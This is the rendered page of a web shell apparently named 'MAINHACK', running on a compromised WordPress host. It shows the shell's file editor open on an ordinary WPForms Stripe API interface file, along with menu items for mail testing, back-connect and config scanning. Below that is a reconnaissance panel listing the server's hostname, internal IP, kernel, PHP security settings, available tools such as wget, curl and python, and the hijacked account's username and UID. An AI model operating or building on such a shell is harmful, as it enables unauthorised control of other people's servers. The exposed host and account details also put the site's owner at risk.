[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ApiInterface.php
<?php namespace WPForms\Integrations\Stripe\Api; use Exception; /** * Payment API interface. * * @since 1.8.2 */ interface ApiInterface { /** * API class initialization. * * @since 1.8.2 */ public function init(); /** * Set API configuration. * * @since 1.8.2 */ public function set_config(); /** * Initial Stripe app configuration. * * @since 1.8.2 */ public function setup_stripe(); /** * Set payment tokens from a submitted form data. * * @since 1.8.2 * * @param array $entry Copy of original $_POST. */ public function set_payment_tokens( $entry ); /** * Process single payment. * * @since 1.8.2 * * @param array $args Single payment arguments. */ public function process_single( $args ); /** * Process subscription. * * @since 1.8.2 * * @param array $args Subscription arguments. */ public function process_subscription( $args ); /** * Get API configuration array or its key. * * @since 1.8.2 * * @param string $key Name of the key to retrieve. * * @return mixed */ public function get_config( $key = '' ); /** * Get saved Stripe payment object or its key. * * @since 1.8.2 * * @param string $key Name of the key to retrieve. * * @return mixed */ public function get_payment( $key = '' ); /** * Get saved Stripe customer object or its key. * * @since 1.8.2 * * @param string $key Name of the key to retrieve. * * @return mixed */ public function get_customer( $key = '' ); /** * Get saved Stripe subscription object or its key. * * @since 1.8.2 * * @param string $key Name of the key to retrieve. * * @return mixed */ public function get_subscription( $key = '' ); /** * Get details from a saved Charge object. * * @since 1.8.2 * * @param string|array $keys Key or an array of keys to retrieve. * * @return array */ public function get_charge_details( $keys ); /** * Get API error message. * * @since 1.8.2 * * @return string */ public function get_error(); /** * Get API exception. * * @since 1.8.2 * * @return Exception */ public function get_exception(); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697